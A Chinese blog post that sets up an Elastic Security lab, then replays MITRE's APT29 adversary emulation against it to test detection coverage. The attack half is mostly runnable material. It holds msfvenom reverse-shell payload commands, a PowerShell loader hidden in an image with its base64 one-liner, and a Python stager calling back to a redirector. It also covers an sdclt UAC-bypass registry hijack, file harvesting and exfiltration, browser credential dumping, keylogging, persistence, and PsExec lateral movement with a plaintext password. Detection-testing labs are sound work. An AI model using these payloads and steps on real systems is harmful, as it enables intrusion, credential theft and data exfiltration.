本文是我在探索和学习ATT&CK框架过程中,搭建本地实验环境的粗略过程。如果你也是跟着Elastic Stack官方文档无法搭建完成,不如回头翻一下我的这篇文章。

ATT&CK框架是什么相信大家都比较熟悉了这里我不做介绍了,选择部署Elastic 安全的原因有两个,一是在做红蓝对抗研究时缺少一款EDR产品用作行为分析和Bypass技术研究,二是Elastic 是唯一参加过ATT&CK官方的评估而且可以免费使用的。

Elastic Security介绍

Elastic Security在一个解决方案中将SIEM威胁检测功能与端点防护和响应功能结合在一起。这些分析和保护功能被Elasticsearch的速度和可扩展性所利用,使分析人员能够在损失和损失发生之前保护组织免受威胁。

Elastic Security提供以下安全优势和功能:

•用于识别攻击和系统错误配置的检测引擎

•用于事件分类和调查的工作空间

•交互式可视化以调查过程关系

•内置的案件管理和自动操作

•使用预建的机器学习异常作业和检测规则检测无特征的攻击

Elastic Security助力分析师防御、检测威胁,并就威胁做出响应。免费、开放的解决方案提供了 SIEM、Endpoint Security、威胁搜寻、云监测等功能。Elastic安全分为SIEM和Endpoint安全两个大“功能”。Elastic的终端安全方案主要由Elastic Agent(终端代理)、Elasticsearch(搜索和分析引擎)和Kibana(数据进行可视化)三大件。Elastic Agent是一种向所有主机添加对日志,指标和其他类型数据的监视的统一方法。单个代理使在整个基础架构中部署监视变得更加轻松快捷。代理程序的单一统一策略使添加新数据源的集成变得更加容易。Fleet在Kibana中提供了一个基于Web的UI,以添加和管理流行服务和平台的集成,以及管理Elastic Agent团队。集成提供了一种轻松的方法来添加新的数据源,此外,它们还附带了现成的资产,如仪表板,可视化效果和管道,可从日志中提取结构化字段。这使得在几秒钟内获得洞察变得更加容易。Elastic Security是Kibana的内置部分。要使用Elastic Security,您只需要部署一个Elastic Stack(一个Elasticsearch集群和Kibana)。

Elastic Security组件和工作流程

数据通过Beat模块和Elastic Endpoint Security代理集成从您的主机传送到Elasticsearch:

•Elastic Endpoint Security-弹性代理集成,可保护您的主机免受恶意软件的侵害并提供以下数据集:

•Windows:进程,网络,文件,DNS,注册表,DLL和驱动程序负载,恶意软件安全检测

•Linux / macOS:进程,网络,文件

•Beat模块:Beat是轻量级的数据托运者。Beat模块提供了一种从常见来源(例如云和操作系统事件,日志和指标)收集和解析特定数据集的方法。

Kibana中的Elastic Security应用程序用于管理检测引擎、Cases和Timeline,以及管理运行Endpoint Security的主机:

•检测引擎:通过以下方式自动搜索可疑的主机和网络活动:

•检测规则:定期搜索主机发送的数据(Elasticsearch索引)以查找可疑事件。发现可疑事件时,将生成检测警报。生成警报时,可以使用外部系统(例如Slack和电子邮件)来发送通知。您可以创建自己的规则并使用我们的预建规则。•例外:减少噪音并减少误报次数。异常与规则相关联,并在满足异常条件时阻止发出警报。值列表包含可用作异常条件一部分的源事件值。在主机上安装Elastic Endpoint Security后,您可以从Security应用程序将恶意软件例外直接添加到端点。•机器学习作业:自动异常检测主机和网络事件。每个主机都提供异常分数,并且可以与检测规则一起使用。•时间轴:用于调查警报和事件的工作区。时间轴使用查询和过滤器来深入分析与特定事件相关的事件。时间线模板附加到规则,并在调查警报时使用预定义的查询。时间线可以保存并与其他人共享,也可以附加到案例中。•案例:直接在Security应用程序中打开,跟踪和共享安全问题的内部系统。案例可以与外部票务系统集成。•管理:查看和管理运行Elastic Endpoint Security的主机。

开启Fleet

Elasticsearch(以下简称es)和Kibana的安装非常简单,此处省略……下面主要记录如何开启Fleet并配置SSL/TLS。

证书生成

使用Elast Agent需要开启SSL,为ES生成私钥和X.509证书。其他的Beats程序(filebeat、winlogbeat等)也都需要添加相应的SSL配置。

1.同时生成CA和服务器证书

elasticsearch-certutil.bat cert ca --pem --ip 10.0.0.X --name master --keep-ca-key --out certs.zip

1.crt 转换成 pem格式:

openssl x509 -in ca.crt -out ca.pem

其他Beats只需要ca.pem即可。Windows系统中安装ca.crt证书时手动选择将证书导出受信任的根颁发机构。Linux系统中将ca.pem复制到/etc/ssl/certs/目录下,运行update-ca-trust或update-ca-certificates。

妥善保管ca.key,再次生成证书时需要。

1.elasticsearch.yml配置增加如下:

    xpack.security.enabled: truexpack.security.http.ssl.enabled: truexpack.security.transport.ssl.enabled: truexpack.security.http.ssl.key: certs/master.keyxpack.security.http.ssl.certificate: certs/master.crtxpack.security.http.ssl.certificate_authorities: certs/ca.crtxpack.security.transport.ssl.key: certs/master.keyxpack.security.transport.ssl.certificate: certs/master.crtxpack.security.transport.ssl.certificate_authorities: certs/ca.crt

    1.kibana.yml配置修改elasticsearch.ssl.certificateAuthorities如下:

      elasticsearch.ssl.certificateAuthorities: [ "D:\\elk\\kibana-7.10.1-windows-x86_64\\config\\certs\\ca.crt" ]

      生成密码

      生成密码前,需要已经启动ES。

        PS D:\ELK\elasticsearch-7.10.1\bin> .\elasticsearch-setup-passwords.bat autoInitiating the setup of passwords for reserved users elastic,apm_system,kibana,kibana_system,logstash_system,beats_system,remote_monitoring_user.The passwords will be randomly generated and printed to the console.Please confirm that you would like to continue [y/N]y

        Changed password for user apm_systemPASSWORD apm_system = VfD5gOgdoJu3AeQCEk52

        PASSWORD kibana_system = bo7AkvpKixyU9wOzZ9ob

        Changed password for user kibanaPASSWORD kibana = bo7AkvpKixyU9wOzZ9ob

        Changed password for user logstash_systemPASSWORD logstash_system = I8D0VG5H1csHDatR7bmB

        Changed password for user beats_systemPASSWORD beats_system = Tyd1zP7T7a8WIF3fpZiR

        Changed password for user remote_monitoring_userPASSWORD remote_monitoring_user = Kn77JNDaNuUMyvBOOfxI

        Changed password for user elasticPASSWORD elastic = wRdchJt8yNAOX8WHdCE6 已改为password

        kibana-7.10.1 增加额外的配置,kibana.yml:

          elasticsearch.hosts: ["https://10.0.0.X:9200"]elasticsearch.username: "kibana_system"elasticsearch.password: "bo7AkvpKixyU9wOzZ9ob"

          xpack.fleet.enabled: truexpack.fleet.agents.tlsCheckDisabled: true xpack.encryptedSavedObjects.encryptionKey: "something_at_least_32_characters"xpack.security.enabled: true

          Beats配置

          winlogbeat、Filebeat等yaml格式的配置文件一般只需要添加或许该如下配置:

            output.elasticsearch: hosts: ["10.0.0.2:9200"] protocol: "https" username: "elastic" password: "password" ssl.certificate_authoritoes: "/home/ubuntu/ca/ca.pem"

            安装Elastic Agent

            Elastic Agent安装和注册已包含在Fleet中但是该功能目前处于Bata版本,官方文档也并不全。在agent的配置文件中写ssl配置根本不生效,好像代码还没有实现,而golang写的程序默认与系统的证书信任关系有关。所以在Windows上必须导入生成的ca.crt证书,必须是导入此计算机,不能是此用户。

            添加Agent

            从Fleet页面添加agent,自动生成注册命令。将elastic-agent安装包复制到目标系统,运行注册命令。

            .\elastic-agent.exe install -f --kibana-url=http://10.0.0.X:5601 --enrollment-token=d3dUQV9IWUJIOVlqUjN6OF9Za0k6MkJLYS1MQzhRSXViZzh5QmhhU3JlQQ==

            确认Agent状态

            需要确认三处:1. Status是Online,2. Data streams有数据,3. es的控制台实时日志没有报错。

            如果出现bad_certificate错误,再检查证书生成和安装的步骤和过程。

            查看Security/Overview是否有数据。

            开启检测规则

            Elastic Security的检测引擎规则已在GitHub上开源。开启规则需要手动点击每个要开启的规则,还好规则不多。

            使用Elastic

            Elastic Agent默认收集以下数据源:

            •Process – Linux, macOS, Windows•Network – Linux, macOS, Windows•File – Linux, macOS, Windows•DNS – Window•Registry – Windows•DLL and Driver Load – Windows•Security – Windows

            要用主机和网络安全事件发送到Elastic Security,需要在要从中提取安全事件的主机上安装和配置Beats:

            •Filebeat用于转发和集中日志和文件•Auditbeat用于收集安全事件•Winlogbeat用于集中Windows事件日志•Packetbeat用于分析网络活动

            可以使用Kibana UI或直接从命令行安装Beats。

            代理策略

            使用代理策略管理代理及其收集的数据。不同的操作系统可以使用集成应用不同,所以应创建不同的代理策略以应用于不同的系统。

            新建一个命名为Windows的策略,添加“Endpoint Security”,“windows”集成,安装并配置Sysmon。

            一个针对Windows系统的策略已配置完成。将策略下发给代理即可。

            后续

            在搭建完毕基本环境后,我们将在此环境中进行ATT&CK官方指导的APT29对手模拟。

            参考链接

            •https://www.elastic.co/guide/en/elasticsearch/reference/7.10/configuring-tls.html#node-certificates

            •https://www.elastic.co/guide/en/fleet/7.10/fleet-quick-start.html

            •https://www.elastic.co/cn/blog/configuring-ssl-tls-and-https-to-secure-elasticsearch-kibana-beats-and-logstash

            •https://github.com/elastic/kibana/issues/73483

            •https://www.elastic.co/cn/downloads/elastic-agent

            •https://www.elastic.co/guide/en/fleet/current/index.html

            •https://github.com/elastic/detection-rules


            在搭建完Elastic Security的环境后,我们尝试复现ATT&CK Evaluations中APT29的评估过程,已验证我们所搭建的环境是否满足需求。以下内容主要从自https://github.com/mitre-attack/attack-arsenal/,在本地复现过程中修改了部分内容。

            如果你有一套自认为还不错的SOC或SIEM,不妨在你的真实环境中使用以下评估方法进行成熟度评估。看看对ATT&CK框架的覆盖度能达到百分之多少,是否还存在可以提高的防御环节。

            评估环境准备

            ATT&CK给出的拓扑和系统要求。

            根据我们自己的Lab环境修改如下:

            IP OS-Name OS 备注
            10.0.0.101 PC Windows10 with Office 2019
            10.0.0.102 PC1 Windows10
            10.0.0.103 PC2 Windows10
            10.0.0.104 PC3 Windows10 with Office 2019
            10.0.0.100 DC01 DC Windows Server 2019 Datacenter apt.local
            10.0.0.200 Team Server Pupy/Metasploit/PoshC2 Kali
            10.0.0.199 Redirector Server Socat Ubuntu18

            受害者系统准备

            1. 安装一个Windows Server 2019 Datacenter,一个Windows10 Pro 1903,然后克隆虚拟机。重新打开每个虚拟机运行Sysprep重置系统信息。安装包:ed2k://|file|cn_windows_server_2019_x64_dvd_4de40f33.iso|5086887936|7DCDDD6B0C60A0D019B6A93D8F2B6D31|/ ed2k://|file|cn_windows_10_business_edition_version_1903_updated_june_2019_x64_dvd_830837d9.iso|5032351744|DFF5FF3B87D209D16ECE7543255FA573|/2.修改计算机名、加入apt.local域3.新建jack、john两个域账户并添加到Domain Admin组,密码为Passw0rd!4.关闭自动更新,也可以加入域后通过组策略禁止更新。5.使用DefenderControl关闭Windows Defender。6.开启RDP,授予用户远程登陆权限。7.通过域组策略将UAC设置为从不通知。

            8.  通过组策略修改注册表以允许存储明文凭据

            参考:https://www.praetorian.com/blog/mitigating-mimikatz-wdigest-cleartext-credential-theft/?edition=2019

            9.     使用OfficeTools部署office 201910.安装Chrome浏览器11.每个PC都开启WinRM

              Enable-PSRemoting -ForceSet-Service WinRM -StartMode AutomaticGet-WmiObject -Class win32_service |Where-Object {$_.name-like"WinRM"}Set-Item wsman:\localhost\Client\TrustedHosts -value10.0.0.*Get-Item WSMan:\localhost\Client\TrustedHosts

              红队系统设置

              TeamServer

              IP:10.0.0.200

              1.安装Pupy (由于生成的exe无法正常工作,由Metasploit代替。)

                sudo docker image pull cyb3rward0g/docker-pupy:f8c829dd66449888ec3f4c7d086e607060bca892sudo docker tag cyb3rward0g/docker-pupy:f8c829dd66449888ec3f4c7d086e607060bca892 docker-pupysudo docker run --rm -it -p 1234:1234 docker-pupy python pupysh.pysudo docker run --rm -it -p 1234:1234 -v "/opt/payloads:/tmp/payloads" docker-pupy python pupysh.pysudo docker run --rm -it -p 1234:1234 -v "/opt/attack-platform:/tmp/attack-platform" docker-pupy python pupysh.py

                2.安装PoshC2

                  curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bashsudo posh-project -n posh1sudo posh-config

                  3.克隆官方仓库 git clone https://github.com/mitre-attack/attack-arsenal.git4.从/ var / www / webdav提供的WebDAV共享服务

                    sudo apt install apache2sudo mkdir /var/www/webdavsudo chown -R www-data:www-data /var/www/sudo a2enmod davsudo a2enmod dav_fssudo vim /etc/apache2/sites-available/000-default.confsudo systemctl restart apache2.service

                    参考:https://www.digitalocean.com/community/tutorials/how-to-configure-webdav-access-with-apache-on-ubuntu-14-04

                    5.将有效负载复制到webdav共享

                      sudo cp ~/day1/payloads/python.exe /var/www/webdav/ cd /var/www/webdavsudo chown -R www-data:www-data python.exe

                      Redirector

                      IP:10.0.0.199

                      1.安装Socat Sudo apt install socat2.在Redirector上使用Socat设置端口转发: sudo socat TCP-LISTEN:443,fork TCP:10.0.0.200:443 & sudo socat TCP-LISTEN:1234,fork TCP:10.0.0.200:1234 & sudo socat TCP-LISTEN:8443,fork TCP:10.0.0.200:8443 &

                      第1天

                      Payload生成

                      关于红队有效载荷的说明 请参阅payload_configs.md,构建自己的Payload。所有新生成的payload在~/payloads/day1/目录下。

                      Payload1:cod.3aka3.scr

                      Pupy错误太多,使用metasploit替代 msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 -f exe LHOST=10.0.0.199 LPORT=1234 RC4PASSWORD=msf -o cod.3aka3.scr 然后在windows平台重命名,参考https://redcanary.com/blog/right-to-left-override/

                      Payload2:Privilege Escalation Payload (monkey.png)

                      msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 --format psh -o meterpreter.ps1

                      在使用Invoke-PSImage合成图片和payload(选择的图片像素一定要大于脚本字节,以一个像素存放一个字节,生成的base64编码后的值替换步骤三里的!)

                        Import-Module .\Invoke-PSImage.ps1Invoke-PSImage -Script .\meterpreter.ps1 -Out .\monkey.png -Image .\1.jpg

                        sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\jack\Desktop\monkey.png");$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3643]))# 修改图片路径

                        #Base64编码$text="sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\jack\Downloads\monkey.png");$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3643]))"[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($text))

                        cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACQAZwA9AGEAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACIAQwA6AFwAVQBzAGUAcgBzAFwAagBhAGMAawBcAEQAbwB3AG4AbABvAGEAZABzAFwAbQBvAG4AawBlAHkALgBwAG4AZwAiACkAOwAkAG8APQBhACAAQgB5AHQAZQBbAF0AIAAzADgANAAwADsAKAAwAC4ALgAxACkAfAAlAHsAZgBvAHIAZQBhAGMAaAAoACQAeAAgAGkAbgAoADAALgAuADEAOQAxADkAKQApAHsAJABwAD0AJABnAC4ARwBlAHQAUABpAHgAZQBsACgAJAB4ACwAJABfACkAOwAkAG8AWwAkAF8AKgAxADkAMgAwACsAJAB4AF0APQAoAFsAbQBhAHQAaABdADoAOgBGAGwAbwBvAHIAKAAoACQAcAAuAEIALQBiAGEAbgBkADEANQApACoAMQA2ACkALQBiAG8AcgAoACQAcAAuAEcALQBiAGEAbgBkADEANQApACkAfQB9ADsAJABnAC4ARABpAHMAcABvAHMAZQAoACkAOwBJAEUAWAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAFsAMAAuAC4AMwA2ADQAMwBdACkAKQA=

                        Payload3:Persistence readme.txt

                        msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 --format psh-cmd 生成的内容,替换payloads/SysinternalsSuite/readme.txt中816行的内容。

                        Payload4:javamtsup.exe

                        msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=443 -f exe-service -o javamtsup.exe

                        Payload5:python.exe

                        msfvenom -p python/meterpreter/reverse_https LHOST=10.0.0.199 LPORT=8443 -o python.py 编辑python.py文件,保留base64解码后的内容,添加import imp

                          import zlib,base64,sys,impvi=sys.version_infoul=__import__({2:"urllib2",3:"urllib.request"}[vi[0]],fromlist=["build_opener","HTTPSHandler"])hs=[]if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3): import ssl sc=ssl.SSLContext(ssl.PROTOCOL_SSLv23) sc.check_hostname=False sc.verify_mode=ssl.CERT_NONE hs.append(ul.HTTPSHandler(0,sc))o=ul.build_opener(*hs)o.addheaders=[("User-Agent","Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko")]exec(zlib.decompress(base64.b64decode(o.open("https://10.0.0.199:8443/6BvQGFrYcU7EadF9pFikEAwLkBa1sLGV6TWrXtvxZLd6Pm_-FeXhgEgxLQgfwo1dKoy5e8UIhG2D1EpXfP8l8kg6GuOAMd_chLdrpDQrTHahqBKkbu3hEM_g94kQW0FG2u05ezCs-_").read())))

                          在Windows中编译,必须使用python3:pyinstaller -F python.py

                          使用Upx压缩:upx --brute python.exe

                          Payload 6:psvcersion.txt

                          需要提前修改psvcersion.txt中webdav信息。脚本里安装7zip4Powershell会超时导致命令失败,所以应该提前在受害者系统中安装7zip4Powershell。可能需要翻墙。删除psvcersion.txt第231行。

                          设置攻击平台,相关文件在~/payloads/day1/文件夹下:

                          1.从以下网址下载Chrome密码转储工具:https://github.com/adnan-alhomssi/chrome-passwords/raw/master/bin/chrome-passwords.exe2.从以下位置下载SysInternals zip文件夹:https://download.sysinternals.com/files/SysinternalsSuite.zip3.解压SysinternalsSuite.zip; 将以下文件复制到SysInternalsSuite目录中:a) readme.txt b) psversion.txt(修改webdav配置) c) chrome-passwords.exe(重命名为accessChk.exe) d) strings64.exe(从hostui.cpp编译)4.压缩修改的SysinternalsSuite文件夹

                          受害者设置

                          对于2个受害工作站:

                          1.以具有管理员权限的用户身份登录。2.PC安装英语并作为显示语言。3.验证用户在C:\Windows\Temp目录中具有读/写/执行权限4.安装7Zip4Powershell ,Powershell > Install-Module -Name 7Zip4Powershell -Force5.导入证书payloads/day1/shockwave.local.pfx,使用PowerShell导入证书:Import-PfxCertificate -Exportable -FilePath "shockwave.local.pfx" -CertStoreLocation Cert:\LocalMachine\My

                          开始

                          添加RTLO字符并将rcs.3aka3.doc放置在受害者桌面上。

                          Step 1 – 初始违规

                          最初的违规行为是合法用户单击(T1204)伪装成良性单词文档的可执行有效载荷(屏幕保护程序可执行文件)(T1036)。一旦执行,有效负载就使用RC4密码在端口1234(T1065)上创建C2连接。然后,攻击者使用活动的C2连接生成交互式cmd.exe(T1059)和powershell.exe(T1086)Shell。

                          1.A

                          TeamServer: $ sudo msfconsole

                          使用APT\jack登录到PC。双击桌面的3aka3.doc。这会将反向外壳发送到TeamServer服务器。

                          1.B

                          meterpreter > shell

                          C:\Users\jack\Desktop>powershell

                          PS C:\Users\jack\Desktop>

                          Step 2 – 快速收集和渗出

                          攻击者运行单行命令,以搜索文件系统中的文档和媒体文件(T1083,T1119),收集(T1005)并将内容压缩(T1002)为单个文件(T1074)。然后通过现有的C2连接来提取文件(T1041)。

                          2.A

                          PS >$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*jack*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force

                          PS C:\Users\jack\Desktop> exit

                          C:\Users\jack\Desktop>exit

                          meterpreter >

                          2.B

                          meterpreter > download "c:\Users\jack\AppData\Roaming\Draft.zip" .

                          成功下载到TeamServer服务器。

                          Step 3 – 部署Stealth工具包

                          攻击者现在向受害者上载新的有效载荷(T1105)。有效负载是带有隐藏PowerShell脚本(T1027)的合法形成的图像文件。然后,攻击者通过用户帐户控制(UAC)旁路(T1122,T1088)提升特权,该旁路执行新添加的有效负载。使用HTTPS协议(T1071,T1032)在端口443(T1043)上建立了新的C2连接。最后,攻击者从注册表中删除特权升级的工件(T1112)。

                          3.A

                          新建一个终端运行msfconsole

                          [msf] >handler -H 0.0.0.0 -P 443 -p windows/x64/meterpreter/reverse_https

                          在上一个meterpreter shell中,将monkey.png上传到目标:

                          meterpreter >upload /home/kali/payloads/day1/monkey.png "C:\Users\jack\Downloads\monkey.png"

                          meterpreter>shell

                          meterpreter > powershell

                          meterpreter (PS C:\Users\jack\Desktop)>

                          3.B

                          meterpreter (PS C:\Users\jack\Desktop)> New-Item -Path HKCU:\Software\Classes -Name Folder -Force;

                          meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder -Name shell -Force;

                          meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder\shell -Name open -Force;

                          meterpreter (PS C:\Users\jack\Desktop)>New-Item -Path HKCU:\Software\Classes\Folder\shell\open -Name command -Force;

                          meterpreter (PS C:\Users\jack\Desktop)> Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "(Default)"

                          当提示您输入值时,粘贴以下1-liner: powershell.exe -noni -noexit -ep bypass -window hidden -ec cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACQAZwA9AGEAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACIAQwA6AFwAVQBzAGUAcgBzAFwAagBhAGMAawBcAEQAbwB3AG4AbABvAGEAZABzAFwAbQBvAG4AawBlAHkALgBwAG4AZwAiACkAOwAkAG8APQBhACAAQgB5AHQAZQBbAF0AIAAzADgANAAwADsAKAAwAC4ALgAxACkAfAAlAHsAZgBvAHIAZQBhAGMAaAAoACQAeAAgAGkAbgAoADAALgAuADEAOQAxADkAKQApAHsAJABwAD0AJABnAC4ARwBlAHQAUABpAHgAZQBsACgAJAB4ACwAJABfACkAOwAkAG8AWwAkAF8AKgAxADkAMgAwACsAJAB4AF0APQAoAFsAbQBhAHQAaABdADoAOgBGAGwAbwBvAHIAKAAoACQAcAAuAEIALQBiAGEAbgBkADEANQApACoAMQA2ACkALQBiAG8AcgAoACQAcAAuAEcALQBiAGEAbgBkADEANQApACkAfQB9ADsAJABnAC4ARABpAHMAcABvAHMAZQAoACkAOwBJAEUAWAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAFsAMAAuAC4AMwA2ADQAMwBdACkAKQA=

                          meterpreter (PS C:\Users\jack\Desktop)> Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" -Force

                          当提示您输入值时,请按:[Enter]

                          查看是否正确:

                          Get-item -Path "HKCU:\Software\Classes\Folder\shell\open\command"

                          meterpreter (PS C:\Users\jack\Desktop)> exit

                          C:\Users\jack\Desktop> %windir%\system32\sdclt.exe

                          获得一个高权限的Meterpreter会话。

                          3.C

                          C:\Users\jack\Desktop> powershell

                          PS C:\Users\jack\Desktop> Remove-Item -Path HKCU:\Software\Classes\Folder* -Recurse -Force

                          PS C:\Users\jack\Desktop>exit

                          [meterpreter (CMD)] >exit

                          Step 4 – 防御逃避与发现

                          攻击者在产生交互式powershell.exe shell(T1086)之前,通过新的提升的访问权限上载了其他工具(T1105)。附加工具已解压缩(T1140),并放置在目标上以便使用。然后,攻击者枚举正在运行的进程(T1057)终止步骤1初始访问的进程,然后删除与该访问相关的各种文件(T1107)。最后,攻击者启动一个PowerShell脚本,该脚本执行各种侦察命令(T1083,T1033,T1082,T1016,T1057,T1063,T1069),其中一些是通过访问Windows API(T1106)完成的。

                          4.A

                          第二个终端的msfconsole

                          [msf] > sessions -i 1

                          [meterpreter] > upload /home/kali/payloads/day1/SysinternalsSuite.zip "C:\\Users\\jack\\Downloads\\SysinternalsSuite.zip"

                          [meterpreter] > execute -f powershell.exe -i -H

                          PS C:\Program Files\SysinternalsSuite> Expand-Archive -LiteralPath "C:\\Users\\jack\\Downloads\\SysinternalsSuite.zip" -DestinationPath "C:\\Users\\jack\\Downloads\\"

                          PS C:\Users\jack\Desktop> if (-Not (Test-Path -Path "C:\Program Files\SysinternalsSuite")) { Move-Item -Path C:\\Users\\jack\\Downloads\\SysinternalsSuite -Destination "C:\Program Files\SysinternalsSuite" }

                          PS C:\Users\jack\Desktop> cd "C:\Program Files\SysinternalsSuite\"

                          4.B PS C:\Program Files\SysinternalsSuite> Get-Process

                          PS C:\Program Files\SysinternalsSuite> Stop-Process -Id 4224 -Force

                          第一个终端的rc4会话关闭。

                          PS C:\Program Files\SysinternalsSuite> Gci $env:userprofile\Desktop

                          PS C:\Program Files\SysinternalsSuite> .\sdelete64.exe /accepteula "$env:USERPROFILE\Desktop\?cod.3aka3.scr"

                          PS C:\Program Files\SysinternalsSuite> .\sdelete64.exe /accepteula "$env:APPDATA\Draft.Zip"

                          PS C:\Program Files\SysinternalsSuite>.\sdelete64.exe /accepteula "$env:USERPROFILE\Downloads\SysinternalsSuite.zip"

                          PS C:\Program Files\SysinternalsSuite> Move-Item .\readme.txt readme.ps1

                          PS C:\Program Files\SysinternalsSuite>. .\readme.ps1

                          4.C

                          PS C:\Program Files\SysinternalsSuite> Invoke-Discovery

                          Step 5 – 持久性

                          攻击者通过创建新服务(T1050)和在Windows启动文件夹(T1060)中创建恶意有效负载,建立了两种不同的持久访问受害者的方法。

                          5.A

                          PS C:\Program Files\SysinternalsSuite> Invoke-Persistence -PersistStep 1

                          5.B

                          PS C:\Program Files\SysinternalsSuite> Invoke-Persistence -PersistStep 2

                          Step 6 – 凭证访问

                          攻击者使用重命名为伪装成合法实用工具(T1036)的工具访问存储在本地Web浏览器(T1081,T1003)中的凭据。然后,攻击者会收获私钥(T1145)和密码哈希(T1003)。

                          6.A

                          PS C:\Program Files\SysinternalsSuite> & "C:\Program Files\SysinternalsSuite\accesschk.exe"

                          6.B PS C:\Program Files\SysinternalsSuite> Get-PrivateKeys

                          PS C:\Program Files\SysinternalsSuite> exit

                          6.C

                          [meterpreter] >run post/windows/gather/credentials/credential_collector

                          Step 7 – 收集和渗出

                          攻击者收集屏幕截图(T1113),来自用户剪贴板的数据(T1115)和键盘记录(T1056)。然后,攻击者收集文件(T1005),将其压缩(T1002)和加密(T1022),然后再将其上传至攻击者控制的WebDAV共享(T1048)。

                          7.A

                          [meterpreter] >execute -f powershell.exe -i -H

                          PS C:\Program Files\SysinternalsSuite> cd "C:\Program Files\SysinternalsSuite"

                          PS C:\Program Files\SysinternalsSuite> Move-Item .\psversion.txt psversion.ps1

                          PS C:\Program Files\SysinternalsSuite>. .\psversion.ps1

                          PS C:\Program Files\SysinternalsSuite> Invoke-ScreenCapture;Start-Sleep -Seconds 3;View-Job -JobName "Screenshot"

                          键入文本并复制到剪贴板。

                          PS C:\Program Files\SysinternalsSuite>Get-Clipboard

                          PS C:\Program Files\SysinternalsSuite> Keystroke-Check

                          PS C:\Program Files\SysinternalsSuite>Get-Keystrokes;Start-Sleep -Seconds 15;View-Job -JobName "Keystrokes"

                          在受害者系统中,输入击键。

                          PS C:\Program Files\SysinternalsSuite> View-Job -JobName "Keystrokes"

                          PS C:\Program Files\SysinternalsSuite>Remove-Job -Name "Keystrokes" -Force

                          PS C:\Program Files\SysinternalsSuite>Remove-Job -Name "Screenshot" -Force

                          7.B

                          PS C:\Program Files\SysinternalsSuite>Invoke-Exfil

                          注意如果失败,请检查事都按照Payload生成中payload6描述的方式进行修改。手动安装7Zip4Powershell,脚本里会超时。这一步可以提前增加到环境准备里。

                          Step 8 – 横向运动

                          攻击者在创建与第二受害者的远程PowerShell会话之前,使用轻型目录访问协议(LDAP)查询来枚举域中的其他主机(T1018)。通过此连接,攻击者枚举了正在运行的进程(T1057)。接下来,攻击者将新的UPX打包有效负载(T1045,T1105)上载到第二受害者。通过先前使用的凭证(T1078)通过PSExec实用程序(T1077,T1035)在第二受害者上执行此新的有效负载。

                          8.A

                          切换至Meterpreter shell:

                          PS C:\Program Files\SysinternalsSuite> Ad-Search Computer Name *

                          PS C:\Program Files\SysinternalsSuite>Invoke-Command -ComputerName PC1 -ScriptBlock { Get-Process -IncludeUserName | Select-Object UserName,SessionId | Where-Object { $_.UserName -like "*\$env:USERNAME" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId

                          这里要写主机名,而不是IP。需要提前远程桌面到第二受害者,因为需要一个非0的session提供横向移动。注意步骤8C的会话ID。

                          8.B

                          新建一个终端启动msfconsole

                          [msf] > handler -H 0.0.0.0 -P 8443 -p python/meterpreter/reverse_https

                          回到当前Meterpreter session:

                          PS C:\Program Files\SysinternalsSuite>Invoke-SeaDukeStage -ComputerName PC1

                          8.C

                          通过PSEXEC远程执行python.exe

                          PS C:\Program Files\SysinternalsSuite>.\PsExec64.exe -accepteula \\PC1 -u "apt.local\jack" -p "Passw0rd!" -i 5 "C:\Windows\Temp\python.exe"

                          获得一个meterpreter会话。

                          Step 9 – 收集

